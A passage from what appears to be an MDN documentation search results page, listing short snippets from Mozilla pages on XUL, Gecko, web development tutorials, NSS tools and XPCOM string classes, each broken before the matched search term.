from the stream in 8kb blocks and parses these blocks, block by block.
...And 7 more matches
XML in Mozilla - Archive of obsolete content
several world wide web consortium (w3c) recommendations and drafts
from the xml family of specifications are supported, as well as other related technologies.
...dtds and other external entities mozilla does not load external entities
from the web.
... other supported xml w3c recommendations specification or technology documentation xhtml w3c recommendation xml base w3c recommendation xlink (simple xlinks only) obsolete since gecko 2.0 w3c recommendation fixptr obsolete since gecko 1.9.1 w3c "proposal" xpointer
framework obsolete since gecko 1.9.1 w3c recommendation xpointer element() scheme obsolete since gecko 1.9.1 w3c recommendation xpointer xmlns() scheme obsolete since gecko 1.9.1 w3c recommendation xpointer fixptr() scheme obsolete since gecko 1.9.1 this scheme is simply a wrapper for fixptr xpointer xpath1() sch...
...And 7 more matches
Trees - Archive of obsolete content
the tree is smart enough to only ask for information
from the view for those rows that need to be displayed.
...for instance, a tree might have thousands of rows, yet most of them will be scrolled off the border of the tree, hidden
from view.
...however, you can create a view entirely
from scratch if necessary.
...And 7 more matches
browser - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a xul <browser> element represents a
frame which is expected to contain a view of a web document.
... it is similar to an i
frame except that it holds a page history and contains additional methods to manipulate the currently displayed page.
... get firefox most of the properties and methods of the browser will rarely be used and can only be called
from chrome urls.
...And 7 more matches
2006-09-29 - Archive of obsolete content
it was determined that the generated elements
from wordpress do not follow the wc3 guidelines in appendix c of xhtml 1.0.
...details can be located at layout confusion refactoring the nshtmlreflowstate(computeblockboxdata, initconstraints) and nsimage
frame::getdesiredsize which uses ns_inrinsicsize, into the following method: /** * compute the size that a
frame will occupy.
... called while * constructing the nshtmlreflowstate to be used to reflow the
frame, * in order to fill its mcomputedwidth and mcomputedheight member * variables.
...And 7 more matches
Common Firefox theme issues and solutions - Archive of obsolete content
please see the following threads on mozillazine for solutions to this issue: http://forums.mozillazine.org/viewtopic.php?f=18&t=2131121 http://forums.mozillazine.org/viewtopic.php?f=18&t=1953371&start=60 windows 7 aero not going into full screen mode properly on win7 with aero glass support firefox doesn't always go to full screen mode
from a normal window properly.
...the cause of this issue is that linux firefox uses a different id for the firefox button
from windows.
...if your firefox button relies on some button styling
from toolbarbuttons.css you'll need to add comparable style rules for #appmenu-toolbar-button in browser.css.
...And 7 more matches
XUL Parser in Python - Archive of obsolete content
this article is
from 2000.
...it also, i'm a
fraid, only works on the win32 platform, where the <tt>dir</tt> command it depends on gets you your xul files.
...i will make these adjustments and change it into a real module when i get a second, so that someone can instantiate the parser
from their own scripts and use it more flexibly: >>> import xultool >>> myxp = xulparser() >>> chrome_dir = 'd:\src\mozilla\xpfe' >>> res = myxp.parsexul(chrome_dir, 'window', 'id') where something like the above would write out all the xul window ids in the build.
...And 7 more matches
Bounding volume collision detection with THREE.js - Game development
a more simple alternative that fixes the previous issue is to set those boundaries later on with box3.set
fromobject, which will compute the dimensions taking into account a 3d entity's transformations and any child meshes as well.
... var knot = new three.mesh( new three.torusknotgeometry(0.5, 0.1), new meshnormalmaterial({})); var knotbbox = new box3(new three.vector3(), new three.vector3()); knotbbox.set
fromobject(knot); instantiating spheres instantiating sphere objects is similar.
... var knot = new three.mesh( new three.torusknotgeometry(0.5, 0.1), new meshnormalmaterial({})); var knotbsphere = new sphere( knot.position, knot.geometry.boundingsphere.radius); unfortunately, there is no equivalent of box3.set
fromobject for sphere instances.
...And 7 more matches
Building up a basic demo with PlayCanvas editor - Game development
instead of coding everything
from scratch you can also use the online playcanvas editor.
... creating an account the playcanvas editor is
free — all you have to do to begin with is register your account and login: when you first sign up, you are taken straight into the editor and given a simple starter tutorial involving editing a 3d rolling ball game.
...even though it's a blank new project we don't have to start entirely
from scratch — the camera and directional light are prepared already, so you don't have to worry about them.
...And 7 more matches
Desktop mouse and keyboard controls - Game development
inside them we can get the code of the key that was pressed
from the keycode property of the event object, see which key it is, and then set the proper variable.
...rform the action assigned to it — move the ship left: function draw() { ctx.clearrect(0, 0, canvas.width, canvas.height); if(rightpressed) { playerx += 5; } else if(leftpressed) { playerx -= 5; } if(downpressed) { playery += 5; } else if(uppressed) { playery -= 5; } ctx.drawimage(img, playerx, playery); requestanimation
frame(draw); } the draw function first clears the whole canvas — we draw everything
from scratch on every single
frame.
...then the player's ship is drawn on the screen and the next draw is called
from within the requestanimation
frame.
...And 7 more matches
Unconventional controls - Game development
we will need a few helper variables for our code to work — one for the purpose of calculating the degrees
from radians, two for holding the horizontal and vertical amount of degrees our hand is leaning above the controller, one for the threshold of that lean, and one for the state of our hand's grab status.
... we next add these lines after all the event listeners for keyboard and mouse, but before the draw method: var todegrees = 1 / (math.pi / 180); var horizontaldegree = 0; var verticaldegree = 0; var degreethreshold = 30; var grabstrength = 0; right after that we use the leap's loop method to get the information held in the hand variable on every
frame: leap.loop({ hand: function(hand) { horizontaldegree = math.round(hand.roll() * todegrees); verticaldegree = math.round(hand.pitch() * todegrees); grabstrength = hand.grabstrength; output.innerhtml = 'leap motion: <br />' + ' roll: ' + horizontaldegree + '° <br />' + ' pitch: ' + verticaldegree + '° <br />' + ' strength: ' + grabstrength + ''; } }); the code above ...
...ee > degreethreshold) { playerx -= 5; } else if(horizontaldegree < -degreethreshold) { playerx += 5; } if(verticaldegree > degreethreshold) { playery += 5; } else if(verticaldegree < -degreethreshold) { playery -= 5; } if(grabstrength == 1) { alert('boom!'); } ctx.drawimage(img, playerx, playery); requestanimation
frame(draw); } if the horizontaldegree value is greater than our degreethreshold, which is 30 in this case, then the ship will be moved left 5 pixels on every
frame.
...And 7 more matches
Gecko FAQ - Gecko Redirect 1
gecko has been known previously by the code names "raptor" and "nglayout"; the new name was chosen following a trademark in
fringement dispute.
... how is a layout engine like gecko different
from a web browser?
...however, gecko does not package all of these components alongside other interface modules in a coherent, user-
friendly application (including menus, toolbars, etc.), such as firefox.
...And 7 more matches
CSS and JavaScript accessibility best practices - Learn web development
objective: to gain familiarity with using css and javascript appropriately in your web documents to maximise accessibility and not detract
from it.
...as we
frequently mentioned in our html: a good basis for accessibility article, you should use the appropriate semantic element for the job, whenever possible.
... make sure your headings stand out
from your body text, typically big and bold like the default styling.
...And 7 more matches
Debugging CSS - Learn web development
for inspecting the properties and values applied to elements on your page, and making changes to them
from the editor.
... inspecting the applied css select an element on your page, either by right/ctrl-clicking on it and selecting inspect, or selecting it
from the html tree on the left of the devtools display.
...you will see the rules directly applied to class box1 and also the css that is being inherited by the box
from its ancestors, in this case to <body>.
...And 7 more matches
Organizing your CSS - Learn web development
if you use a string which won't appear in the code you can jump
from section to section by searching for it — below we have used ||.
...you can link to multiple stylesheets
from one page, and the normal rules of the cascade apply, with rules in stylesheets linked later coming after rules in stylesheets linked earlier.
... css methodologies instead of needing to come up with your own rules for writing css, you may benefit
from adopting one of the approaches already designed by the community and tested across many projects.
...And 7 more matches
How do you make sure your website works properly? - Learn web development
a distant web server often behaves quite differently
from a local one, so it's a good idea to test your website once it's online.
... 304: not modified the file has not changed since the last time you asked for it, so your browser can display the version
from its cache, resulting in faster response times and more efficient use of bandwidth.
... 503: service unavailable usually resulting
from a shortterm system overload.
...And 7 more matches
How do you upload your files to a web server? - Learn web development
our demo covers filezilla, since it's
free and available for windows, macos and linux.
... to install filezilla go to the filezilla downloads page, click the big download button, then install
from the installer file in the usual way.
... we have just opened an account and received this info
from them: congratulations for opening an account at example hosting provider.
...And 7 more matches
Other form controls - Learn web development
previous overview: forms next we now look at the functionality of non-<input> form elements in detail,
from other control types such as drop-down lists and multi-line text fields, to other useful form features such as the <output> element (which we saw in action in the previous article), and progress bars.
... drop-down controls drop-down controls are a simple way to let users select
from many different options without taking up much space in the user interface.
... the <option> elements can be nested inside <optgroup> elements to create visually associated groups of values: <select id="groups" name="groups"> <optgroup label="
fruits"> <option>banana</option> <option selected>cherry</option> <option>lemon</option> </optgroup> <optgroup label="vegetables"> <option>carrot</option> <option>eggplant</option> <option>potato</option> </optgroup> </select> on the <optgroup> element, the value of the label attribute is displayed before the values of the nested options.
...And 7 more matches
Looping code - Learn web development
previous overview: building blocks next programming languages are very useful for rapidly completing repetitive tasks,
from multiple basic calculations to just about any other situation where you've got a lot of similar items of work to complete.
... note: we have made the condition i < cats.length, not i <= cats.length, because computers count
from 0, not 1 — we are starting i at 0, and going up to i = 4 (the index of the last array item).
... in this exercise, we want you to print out a simple launch countdown to the output box,
from 10 down to blastoff.
...And 7 more matches
Making decisions in your code — conditionals - Learn web development
human beings (and other animals) make decisions all the time that affect their lives,
from small ("should i eat one cookie or two?") to large ("should i stay in my home country and work on my father's farm, or should i move to america and study astrophysics?") conditional statements allow us to represent such decision making in javascript,
from the choice that must be made (for example, "one cookie or two"), to the resulting outcome of those choices (perhaps the outcome of "ate one ...
...go to the beach, or the park, and get an ice cream.'; } else if (choice === 'rainy') { para.textcontent = 'rain is falling outside; take a rain coat and an umbrella, and don\'t stay out for too long.'; } else if (choice === 'snowing') { para.textcontent = 'the snow is coming down — it is
freezing!
... note: review the material at the previous link if you want to re
fresh your memories on these.
...And 7 more matches
Useful string methods - Learn web development
inside the square brackets you include the number of the character you want to return, so for example to retrieve the first letter you'd do this: browsertype[0]; remember: computers count
from 0, not 1!
...so the slice happens
from the first position, up to, but not including, the last position.
...instead, you only need to include the character position
from where you want to extract the remaining characters in a string.
...And 7 more matches
CSUN Firefox Materials
it's a quick download, occupies very little disk space, and has a clean, no-nonsense interface." - pc magazine firefox 1.5 is a fast,
free, standards compliant web browser which is rapidly gaining recognition for its
fresh, streamlined approach to browsing the web.
...every user, regardless of what accomodations they need, can enjoy a less cluttered web,
free of intrusions such as popup ads and spyware.
..." -- darren paskell,
from window-eyes beta testing list firefox works with popular screen readers, with the best support currently coming
from gw micro's window-eyes 5.5.
...And 7 more matches
Mozilla’s UAAG evaluation report
this may be different
from the most recent version, check for updates on the user agent working group home page.
... acronym element: supported abbr element: supported abbr attribute for td/th: not supported summary for table: supported title for
frame: ?
... longdesc for
frame: not supported, see bug 3658 no
frame for
frame: must use user style sheets to render this.
...And 7 more matches
Choosing the right memory allocator
ns_alloc() == nsimemory::alloc() ns_realloc() == nsimemory::realloc() ns_
free() == nsimemory::
free() nsmemory::clone() (note: not part of nsimemory) see infallible memory allocation for information about how to allocate memory infallibly; that is, how to use memory allocators that will only return valid memory buffers, and never return null.
... do not use nscrt::strdup for returning values
from an xpcom object, as that uses a different allocator.
... pr_alloc() (do not use, no users and only exists in /security/; use pr_malloc() instead) pr_malloc() == pr_malloc pr_calloc() == pr_calloc pr_realloc() == pr_realloc pr_
free() pr_new (pass in a struct to allocate its size) pr_newzap (same as pr_new, but zeros memory) pr_delete (pr_
free() and also clears the pointer) pr_
freeif special cases pr_smprintf(), pr_sprintf_append(), pr_vsmprintf() and pr_vsprintf_append() must be
freed with pr_smprintf_
free() pl_strdup(), pl_strndup() must be
freed with pl_str
free() nscrt::strdup/nscrt::strndup must be
freed with nscrt::
free allocat...
...And 7 more matches
Debugging on Windows
if you have followed the steps in building firefox for windows and have a local debug build, you can execute ./mach run --debug
from the same command line.
...you can then select the process
from dialog opened
from "attach to process".
... changing/setting the executable to debug vc++ 6.0: to change or set the executable to debug, go to project > settings..., debug tab and select general
from the drop down list.
...And 7 more matches
Inner and outer windows
then add to that the concept of
frames, whereby a document in a window can itself contain other documents, which in turn can contain more documents.
...this may be a window or a tab, or it might be an <i
frame> contained within another document.
...this happens, for example, when a document contains a <
frame> or <i
frame>.
...And 7 more matches
Displaying Places information using views
note that this stylesheet is different
from the one given above, which must be included if you use a built-in places view.
... the following stylesheet is optional and only applies styles and icons to the built-in tree view: <?xml-stylesheet href="chrome://browser/skin/places/places.css" ?> for examples of instantiating a tree view
from javascript rather than xul, see programmatic generation of the built-in tree view.
...this view is an object that implements three interfaces:
from most specific to most general, nsinavhistoryresulttreeviewer, nsinavhistoryresultobserver , and nsitreeview.
...And 7 more matches
Multiple Firefox profiles
you can remove such add-ons
from your profile for nightly use while keeping them for use with other profiles.
...creating new profiles for testing can keep you
from losing your preferences, bookmarks, and history.
...nightly contains the latest code
from firefox developers and is the least stable channel.
...And 7 more matches
MozBeforePaint
this new property indicates the time, in milliseconds since epoch, at which all animations started in the specified window during the current re
fresh interval should be considered to have started running.
... with that value in hand, you can then schedule all your subsequent animation
frames.
... whenever you're ready to re
fresh your animation, you call the window.requestanimation
frame() method.
...And 7 more matches
How to get a stacktrace with WinDbg
(to get a stacktrace for thunderbird or some other product, substitute the product name where ever you see firefox in this instructions.) requirements to get such a stacktrace you need to install the following software: debugging tools for windows microsoft distributes the debugging tools for windows for
free, those include windbg which you will need here.
... download it
from install debugging tools for windows.
... a firefox nightly or release you need a firefox version for which symbols are availables
from the mozilla symbol server to use with windbg.
...And 7 more matches
DeferredTask.jsm
this is always true when read
from code inside the task function, but can also be true when read
from external code, in case the task is an asynchronous generator function.
...if a special operation or error logging is needed on completion, it can be better handled
from within the task itself, for example using a try/catch/finally clause in the task.
... this method stops any currently running timer, thus the delay will restart
from its original value in case the "arm" method is called again.
...And 7 more matches
Downloads.jsm
://gre/modules/downloads.jsm"); method overview promise<download> createdownload(object aproperties); promise<void> fetch(asource, atarget, [optional] object aoptions); promise<downloadlist> getlist(atype); promise<downloadsummary> getsummary(atype); constants constant description public work on downloads that were not started
from a private browsing window.
... private work on downloads that were started
from a private browsing window.
... isprivate: optional indicates whether the download originated
from a private window.
...And 7 more matches
Index
found 42 pages: # page tags and summary 1 localization at mozilla landing, localization, mozilla, translation, l10n localization (l10n) is the process of translating software user interfaces
from one language to another and adapting it to suit a foreign culture.
... 2 application translation with mercurial android, draft, editing, firefox, lightning, localization, mercurial, seamonkey, translate, patch, thunderbird first, get the required programs to compile mozilla applications like firefox and thunderbird
from build instructions.
... 19 localization:
frequently asked questions faq, guide, internationalization, localization, mozilla this page lists tweaks and tips that may not require a complete page on its own.
...And 7 more matches
Localization and Plurals
lural rule #0 (1 form) families: asian (chinese, japanese, korean), persian, turkic/altaic (turkish), thai, lao everything: 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, … plural rule #1 (2 forms) families: germanic (danish, dutch, english, faroese,
frisian, german, norwegian, swedish), finno-ugric (estonian, finnish, hungarian), language isolate (basque), latin/greek (greek), semitic (hebrew), romanic (italian, portuguese, spanish, catalan), vietnamese is 1: 1 everything else: 0, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, ...
...45, 46, 47, 48, 49, 50, … plural rule #2 (2 forms) families: romanic (
french, brazilian portuguese), lingala is 0 or 1: 0, 1 everything else: 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, … plural rule #3 (3 forms) families: baltic (latvian, latgalian) ends in 0: 0 ends in 1, excluding 11: 1, 21, 31, 41, 51, 61, 71, 81, 91, 101, 121, 131, 141, 151, 161, 171, 181, 191, 201, 221, 231, 241, 251, 261, 271, 281, 291, … everything else: 2, 3, 4, 5, 6, 7, 8, 9, 11, 12, 13, 14, 15, 16, 17, 18, 19, 22, 23, 24, 25, 26, 27, 28, 29, 32, 33, 34, 35, 36, 37, 38, 39, 42, 43, 44, 45, 46, 47, 48, 49, 52, 53, … plural rule #4 (4 forms) families: c...
...
french some
french speaking places treat 0 as plural while others treat it as singular.
...And 7 more matches
Mozilla Web Developer FAQ
this document answers questions that web authors ask
frequently specifically in connection with firefox and other gecko-based browsers.
...on the other hand, the quirks implemented in the quirks modes of different browsers vary
from browser to browser.
... in the css2 box layout model the default vertical sizing of layout boxes and the default vertical alignment of images is different
from the behavior of old browsers.
...And 7 more matches
Gecko Profiler FAQ
to stop the profiler
from gathering more samples after the “startup end” marker that you’re interested in, you can call services.profiler.pause(); or you can insert a marker with a special string and then write a script that filters out all samples that were gathered after your marker.
...that tree is then displayed in the usual way, with weights in decreasing order
from top to bottom.
... another approach to get more precision is also raising the sampling
frequency to sub-millisecond ranges (it won’t work on windows.) high
frequency sampling may also be an area where native profilers are a useful alternative tool to try.
...And 7 more matches
NSS 3.35 release notes
if a master password was set on the dbm database, then the initial migration may be partial, and migration of keys
from dbm to sql will be delayed, until this master password is provided to nss.
... (conversely, nss will never synchronize data
from sql to dbm format.) additional information can be found on this fedora linux project page: https://fedoraproject.org/wiki/changes/nssdefaultfileformatsql added formally verified implementations of non-vectorized chacha20 and non-vectorized poly1305 64-bit.
... nss 3.30 had introduced a regression, preventing nss
from reading some aes encrypted data, produced by older versions of nss.
...And 7 more matches
NSS Tools modutil
-force disable the security module database tool's interactive prompts so it can be run
from a script.
...the following mechanisms are currently available: rsa, dsa, rc2, rc4, rc5, des, dh, fortezza, sha1, md5, md2, random (for random number generation), and
friendly (meaning certificates are publicly readable).
...asic module information or detailed information about the contents of a given module: -list [modulename] adding a pkcs #11 module, which includes setting a supporting library file, enabling ciphers, and setting default provider status for various security mechanisms: -add modulename -libfile library-file [-ciphers cipher-enable-list] [-mechanisms mechanism-list] adding a pkcs #11 module
from an existing jar file: -jar jar-file -installdir root-installation-directory [-tempdir temporary-directory] deleting a specific pkcs #11 module
from a security module database: -delete modulename initializing or changing a token's password: -changepw tokenname [-pwfile old-password-file] [-newpwfile new-password-file] setting the default provider status of various security mecha...
...And 7 more matches
How to build an XPCOM component in JavaScript
if you want to use your component only
from javascript, you can skip to the next section.
...you can download an old version of xpcomviewer that works with firefox 1.5
from mozdev mirrors.
...to fix this download the mozilla build tools for windows and copy the dlls
from windows\bin\x86 within the zip into the bin directory of the gecko sdk.
...And 7 more matches
Setting up the Gecko SDK
the sdk is available for windows, linux, and mac operating systems, and versions for other operating systems are being developed, and can be retrieved
from as a single archive
from the following platform-specific locations (need correction for last version (now 1.9.2.8).
... application name description of functionality regxpcom.exe registers or unregisters components with xpcom xpidl.exe generates typelib and c++ headers
from xpidl xpt_dump.exe prints out information about a given typelib xpt_link.exe combines multiple typelibs into a single typelib library name description of functionality xpcomglue.lib xpcom glue library to be used by xpcom components.
... creating a new project after launching visual c++, select new
from the file menu.
...And 7 more matches
Components.utils.Sandbox
example of obtaining content principal
from the window: var principal = gbrowser.selectedtab.linkedbrowser.contentprincipal; var sandbox = components.utils.sandbox(principal); expanded principal an expanded principal is specified as an array of the principals it subsumes.
...for example the content principal above can be made expanded/extended like so: var principal = [gbrowser.selectedtab.linkedbrowser.contentprincipal]; // this is now an expanded (aka extended) principal var sandbox = components.utils.sandbox(principal); null principal you can create a null principal using code like: cc["@mozilla.org/nullprincipal;1"].createinstance(ci.nsiprincipal);
from firefox 37 onwards, you can also specify the null principal by simply passing null as the principal argument.
...this parameter is an object with the following optional properties:
freshzone if true creates a new gc region separate
from both the calling context's and the sandbox prototype's region.
...And 7 more matches
NS_ConvertASCIItoUTF16
@param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to start searching @param acount tells us how far
from the offset we are to search.
...use -1 to search
from the end of the string.
... @param astring contains set of chars to be found @param aoffset tells us where in this string to start searching (counting
from left) @return offset in string, or knotfound parameters char* astring print32 aoffset print32 findcharinset(const nsstring&, print32) const - source parameters nsstring& astring print32 aoffset print32 findcharinset(const prunichar*, print32) const - source parameters prunichar* astring print32 aoffset rfindcharinset print32 rfindcharinset(const prunichar*, print32) const - ...
...And 7 more matches
NS_ConvertUTF16toUTF8
@param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to start searching @param acount tells us how far
from the offset we are to search.
...use -1 to search
from the end of the string.
... @param astring contains set of chars to be found @param aoffset tells us where in this string to start searching (counting
from left) @return offset in string, or knotfound parameters char* astring print32 aoffset print32 findcharinset(const nscstring&, print32) const - source parameters nscstring& astring print32 aoffset rfindcharinset print32 rfindcharinset(const char*, print32) const - source this method searches this string for the last character found in the given string.
...And 7 more matches
NS ConvertUTF16toUTF8 external
parameters nsacstring& readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurrences of characters in aset
from the string.
... parameters char* aset stripwhitespace void stripwhitespace() - source strip whitespace characters
from the string.
... @return the offset of the character
from the beginning of the string, or -1 if not found.
...And 7 more matches
NS_ConvertUTF8toUTF16
@param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to start searching @param acount tells us how far
from the offset we are to search.
...use -1 to search
from the end of the string.
... @param astring contains set of chars to be found @param aoffset tells us where in this string to start searching (counting
from left) @return offset in string, or knotfound parameters char* astring print32 aoffset print32 findcharinset(const nsstring&, print32) const - source parameters nsstring& astring print32 aoffset print32 findcharinset(const prunichar*, print32) const - source parameters prunichar* astring print32 aoffset rfindcharinset print32 rfindcharinset(const prunichar*, print32) const - ...
...And 7 more matches
NS_LossyConvertUTF16toASCII
@param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to start searching @param acount tells us how far
from the offset we are to search.
...use -1 to search
from the end of the string.
... @param astring contains set of chars to be found @param aoffset tells us where in this string to start searching (counting
from left) @return offset in string, or knotfound parameters char* astring print32 aoffset print32 findcharinset(const nscstring&, print32) const - source parameters nscstring& astring print32 aoffset rfindcharinset print32 rfindcharinset(const char*, print32) const - source this method searches this string for the last character found in the given string.
...And 7 more matches
NS LossyConvertUTF16toASCII external
parameters nsacstring& readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurrences of characters in aset
from the string.
... parameters char* aset stripwhitespace void stripwhitespace() - source strip whitespace characters
from the string.
... @return the offset of the character
from the beginning of the string, or -1 if not found.
...And 7 more matches
PromiseFlatCString (External)
parameters nsacstring& readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurrences of characters in aset
from the string.
... parameters char* aset stripwhitespace void stripwhitespace() - source strip whitespace characters
from the string.
... @return the offset of the character
from the beginning of the string, or -1 if not found.
...And 7 more matches
nsACString (External)
parameters nsacstring& readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurrences of characters in aset
from the string.
... parameters char* aset stripwhitespace void stripwhitespace() - source strip whitespace characters
from the string.
... @return the offset of the character
from the beginning of the string, or -1 if not found.
...And 7 more matches
nsAdoptingCString
@param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to start searching @param acount tells us how far
from the offset we are to search.
...use -1 to search
from the end of the string.
... @param astring contains set of chars to be found @param aoffset tells us where in this string to start searching (counting
from left) @return offset in string, or knotfound parameters char* astring print32 aoffset print32 findcharinset(const nscstring&, print32) const - source parameters nscstring& astring print32 aoffset rfindcharinset print32 rfindcharinset(const char*, print32) const - source this method searches this string for the last character found in the given string.
...And 7 more matches
nsAdoptingString
@param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to start searching @param acount tells us how far
from the offset we are to search.
...use -1 to search
from the end of the string.
... @param astring contains set of chars to be found @param aoffset tells us where in this string to start searching (counting
from left) @return offset in string, or knotfound parameters char* astring print32 aoffset print32 findcharinset(const nsstring&, print32) const - source parameters nsstring& astring print32 aoffset print32 findcharinset(const prunichar*, print32) const - source parameters prunichar* astring print32 aoffset rfindcharinset print32 rfindcharinset(const prunichar*, print32) const - ...
...And 7 more matches
nsAutoString
@param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to start searching @param acount tells us how far
from the offset we are to search.
...use -1 to search
from the end of the string.
... @param astring contains set of chars to be found @param aoffset tells us where in this string to start searching (counting
from left) @return offset in string, or knotfound parameters char* astring print32 aoffset print32 findcharinset(const nsstring&, print32) const - source parameters nsstring& astring print32 aoffset print32 findcharinset(const prunichar*, print32) const - source parameters prunichar* astring print32 aoffset rfindcharinset print32 rfindcharinset(const prunichar*, print32) const - ...
...And 7 more matches
nsCAutoString
@param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to start searching @param acount tells us how far
from the offset we are to search.
...use -1 to search
from the end of the string.
... @param astring contains set of chars to be found @param aoffset tells us where in this string to start searching (counting
from left) @return offset in string, or knotfound parameters char* astring print32 aoffset print32 findcharinset(const nscstring&, print32) const - source parameters nscstring& astring print32 aoffset rfindcharinset print32 rfindcharinset(const char*, print32) const - source this method searches this string for the last character found in the given string.
...And 7 more matches
nsCAutoString (External)
parameters nsacstring& readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurrences of characters in aset
from the string.
... parameters char* aset stripwhitespace void stripwhitespace() - source strip whitespace characters
from the string.
... @return the offset of the character
from the beginning of the string, or -1 if not found.
...And 7 more matches
nsCString
@param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to start searching @param acount tells us how far
from the offset we are to search.
...use -1 to search
from the end of the string.
... @param astring contains set of chars to be found @param aoffset tells us where in this string to start searching (counting
from left) @return offset in string, or knotfound parameters char* astring print32 aoffset print32 findcharinset(const nscstring&, print32) const - source parameters nscstring& astring print32 aoffset rfindcharinset print32 rfindcharinset(const char*, print32) const - source this method searches this string for the last character found in the given string.
...And 7 more matches
nsCStringContainer (External)
parameters nsacstring readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurrences of characters in aset
from the string.
... parameters char aset stripwhitespace void stripwhitespace() - source strip whitespace characters
from the string.
... @return the offset of the character
from the beginning of the string, or -1 if not found.
...And 7 more matches
nsCString external
parameters nsacstring& readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurrences of characters in aset
from the string.
... parameters char* aset stripwhitespace void stripwhitespace() - source strip whitespace characters
from the string.
... @return the offset of the character
from the beginning of the string, or -1 if not found.
...And 7 more matches
nsDependentCString external
parameters nsacstring& readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurrences of characters in aset
from the string.
... parameters char* aset stripwhitespace void stripwhitespace() - source strip whitespace characters
from the string.
... @return the offset of the character
from the beginning of the string, or -1 if not found.
...And 7 more matches
nsDependentCSubstring external
parameters nsacstring& readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurrences of characters in aset
from the string.
... parameters char* aset stripwhitespace void stripwhitespace() - source strip whitespace characters
from the string.
... @return the offset of the character
from the beginning of the string, or -1 if not found.
...And 7 more matches
nsDependentString
@param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to start searching @param acount tells us how far
from the offset we are to search.
...use -1 to search
from the end of the string.
... @param astring contains set of chars to be found @param aoffset tells us where in this string to start searching (counting
from left) @return offset in string, or knotfound parameters char* astring print32 aoffset print32 findcharinset(const nsstring&, print32) const - source parameters nsstring& astring print32 aoffset print32 findcharinset(const prunichar*, print32) const - source parameters prunichar* astring print32 aoffset rfindcharinset print32 rfindcharinset(const prunichar*, print32) const - ...
...And 7 more matches
nsFixedCString
@param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to start searching @param acount tells us how far
from the offset we are to search.
...use -1 to search
from the end of the string.
... @param astring contains set of chars to be found @param aoffset tells us where in this string to start searching (counting
from left) @return offset in string, or knotfound parameters char* astring print32 aoffset print32 findcharinset(const nscstring&, print32) const - source parameters nscstring& astring print32 aoffset rfindcharinset print32 rfindcharinset(const char*, print32) const - source this method searches this string for the last character found in the given string.
...And 7 more matches
nsFixedString
@param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to start searching @param acount tells us how far
from the offset we are to search.
...use -1 to search
from the end of the string.
... @param astring contains set of chars to be found @param aoffset tells us where in this string to start searching (counting
from left) @return offset in string, or knotfound parameters char* astring print32 aoffset print32 findcharinset(const nsstring&, print32) const - source parameters nsstring& astring print32 aoffset print32 findcharinset(const prunichar*, print32) const - source parameters prunichar* astring print32 aoffset rfindcharinset print32 rfindcharinset(const prunichar*, print32) const - ...
...And 7 more matches
nsLiteralCString (External)
parameters nsacstring& readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurrences of characters in aset
from the string.
... parameters char* aset stripwhitespace void stripwhitespace() - source strip whitespace characters
from the string.
... @return the offset of the character
from the beginning of the string, or -1 if not found.
...And 7 more matches
nsLiteralString (External)
parameters nsacstring& readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurrences of characters in aset
from the string.
... parameters char* aset stripwhitespace void stripwhitespace() - source strip whitespace characters
from the string.
... @return the offset of the character
from the beginning of the string, or -1 if not found.
...And 7 more matches
nsPromiseFlatCString
